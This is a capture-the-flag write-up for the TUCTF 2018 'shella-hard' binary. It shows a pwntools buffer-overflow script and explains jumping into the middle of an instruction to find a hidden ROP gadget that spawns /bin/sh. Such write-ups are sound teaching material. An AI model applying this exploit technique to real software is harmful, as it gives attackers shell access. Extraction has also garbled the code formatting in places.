Shella Hard
475
Difficulty: mind-melting hard
This program is crap! Is there even anything here?
nc 3.16.169.157 12345
We were given a 32 bit binary:
1 | $ file shella-hard |
Checking it’s security we can see we have NX enabled:1
2
3
4
5
6
7$ checksec shella-hard
[*] '/ctf/work/ctf/tuctf2018/pwn/shella-hard/shella-hard'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Now looking at the main function on radare2:
We can easily see we have a buffer overflow here, the buf is located at ebp-0x10 and we are allowed to read up to 0x30 bytes with the read instruction, perhaps we have some limitations, we have a very limited space it only overflows 0x20 bytes from the buffer so we can’t create a very big rop chain, the binary is dynamic linked and the admins didn’t provide any libc file, even when not provided we can still use to find it , but we don’t have any way of leaking addresses, because the binary doesn’t use any function that spits the output to the stdout like printf, puts or even write.
So since we can’t do anything of this the admins probably provided a way of creating a shell within the code, as we can see in radare we have a function named giveShell, which uses execve:
After calculating the offsets to the return address we get something like this:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from pwn import *
import random
import time
def getConn():
return process('./shella-hard', aslr=False, env={}) if local else remote('3.16.169.157', 12345)
local = True
debug = True
context.terminal = ['tmux', 'new-window']
binary = ELF('./shella-hard')
GIVESHELL = 0x0804845c
r = getConn()
if debug:
gdb.attach(r, """b main
b *0x08048457
b *0x08048467
b *0x08048449
c""")
r.send('A'* 20 + p32(GIVESHELL))
r.interactive()
But as we can see it looks broken? the address 0x6a006a44 will make us to crash into a page fault, as we can see here on gdb if we try to jump immediately into that function:
After loosing some time and trying another things I remembered reading a paper about a cool ROP technique to find “hidden” rop gadgets, but what’s a hidden rop gadget? Let’s take an example:
1 | 8049166: 66 90 xchg %ax,%ax |
For example this could be a sample snippet from objdump.
The first column is the address of the instruction.
The second column is the hexadecimal code (machine code) of the x86 instruction.
The last column is the assembly instruction itself, in ASCII human readable format, with mnemonic and operands etc.
You can notice the presence of the value 0xc3 as the last byte of the second instruction.
This value is really important because it happens to be the machine code for the “ret” instruction.
So the trick here is to jump into the middle of this instruction:
1 | cmpb $0xc3,(%edi,%ebx,1) |
For instance at address 0x8049166a. The CPU would see the following machine code sequence:1f c3
Which will be interpreted as:
1 | 00000000 <.data>: |
Finding a hidden rop gadget, we can use the same idea in the function givenShell:
1 | / (fcn) sym.giveShell 26 |
What I did was to jump into the middle of:1
| 0x0804845c a1446a006a mov eax, dword [0x6a006a44] ; [0x6a006a44:4]=-1
So lets see what happens what’s the “transformation” in radare if we jump into the middle:
This is perfect! we get exactly what we need for spawning a shell! it even reveals there was a global with a “/bin/sh” string that I didn’t even found.
Now fixing our python script:
1 | $ python shella-hard.py |
No real flag here, unfortunately the admins shut down the challenges right after the challenges so I can only show it working locally and I don’t remember the real flag, anyway it doesn’t really matter.